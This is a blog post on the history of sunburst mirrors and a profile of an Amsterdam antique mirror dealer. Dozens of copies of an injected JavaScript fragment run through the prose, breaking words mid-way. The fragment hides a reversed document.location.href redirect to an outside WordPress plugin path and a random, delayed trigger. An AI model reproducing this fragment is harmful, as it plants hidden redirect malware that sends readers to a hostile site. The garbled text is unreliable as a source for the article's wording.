Sunburst Mirrors

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toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 1px; padding-right: 5px; font-family: times;”>I’ve always had an interest in interior design as well as antiques. In fact, I studied interior design in school and still enjoy decorating my own home when I have spare time! Perhaps one of my favorite parts of my job is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to watch how antiques inspire current design trends. They say there is nothing new under the sun, and in fact, one design staple of the past few centuries has a lot toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do with the sun! I’m talking about the sunburst mirror of course! This popular decorative piece has deep roots that involve religion, royalty, and repurposing, but it has been reinterpreted over the years and continues toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a fixture of home fashion toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today.

Sunburst Mirrors

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It is thought that the sunburst mirror has its roots in medieval European churches, when the Catholic church would use elaborate decorations including rays of sun and gilded sunbursts around the heads of religious icons. With the plethora of saints and statues of the Holy Family, wood and metal rays of light seemed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to adorn every precious relic in the church. Perhaps when churches were remodeled or toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torn down, these sunbursts were salvaged and mirrors were added toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to them, resulting in small sunburst mirrors. Today you can find many antique religious pieces which have been salvaged from Italian churches. These pieces are often priced reasonably because most Italians wouldn’t put architectural elements from a church in their home, however the trend of repurposing religious pieces is spot on in America.

Sunburst Mirrors wood mirror

Sunburst Mirrors Sun King

It is also known that King Louis XIV proclaimed himself the Sun King in the 17th century and incorporated rays of sun in much of his decor and architectural elements at Versailles. The head of Apollo, the sun god was a favorite personal emblem of the king, and as a result, it adorned much of the furniture of the time and was also carved intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wall panels. In the late 17th century, King Louis XIV established his own glassworks factoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory in France, and began toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have grand mirrors crafted. The Hall of Mirrors at Versailles is evidence enough of his love of mirrors and gilding. With the king’s affinity for sunbursts, it is no wonder that the motif became widely popular throughout France and continues toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a recurring theme in decor there.

Sunburst Mirrors French Antiques

Sunburst Mirrors decoration item

The sunburst mirror became highly sought after again in the early 19th century. Throughout Europe and America, sunburst mirrors were being produced and incorporated intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to homes everywhere. By the 1940’s, Hollywood Regency became all the rage and the sunburst mirror again regained its popularity. Over the next few decades it was reinterpreted in metal and plastic and at times given a more modern shape. In fact, some of these mid-century sunburst designs looked extremely modern with sharp spikes used as rays or even incorporating smaller circular mirrors along the rays toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to add more shine.

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Regardless of what style of sunburst mirror you prefer, it’s quite obvious that this mirror is not going out of style any time soon! From 17th century French gilded wood toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Italian 1960’s metal, we see sunburst mirrors on Antiques Diva buying toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tours all the time and I love hearing the histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of each one. If you would like more information on an Antiques Diva Buying Tour or our Buying Services, email us at info@antiquesdiva.com.

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Anouk Beerents

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Mirror Mirror on the Wall, who’s the fairest of them all?  Anouk Beerents Antiek Spiegels, that’s who!  For 25 years when international circles start discussing the finest antique mirrors, Anouk Beerents Prinsengracht shop inevitably is the first name that comes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mind

Perhaps the most magical shop in Amsterdam, Anouk Beerents Antiek Spiegels is a warehouse filled with over 300 mirrors from the 18th and 19th Centuries.  Specializing in gilt frames from France and Italy, Anouk painstakingly restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores each piece in an artist process that requires the skills of Michelangelo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to come up with the amazing results she yields.  Using traditional techniques, Anouk always preserves the original mirror, letting the age of the piece dance amongst the reflections

While Anouk’s shop is indeed a beauty, the vendor herself is equally lovely with long blond hair and an easy smile that welcomes visitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to her atelier. Often the door toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the shop is locked but by ringing the buzzer you can be let intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one of Amsterdam’s greatest secrets – Anouk Beerents Antiek Spiegels!

Anouk Beerents
Antique Mirrors
Prinsengracht 467
NL-1016 HP Amsterdam

Until next time,
The Antiques Diva®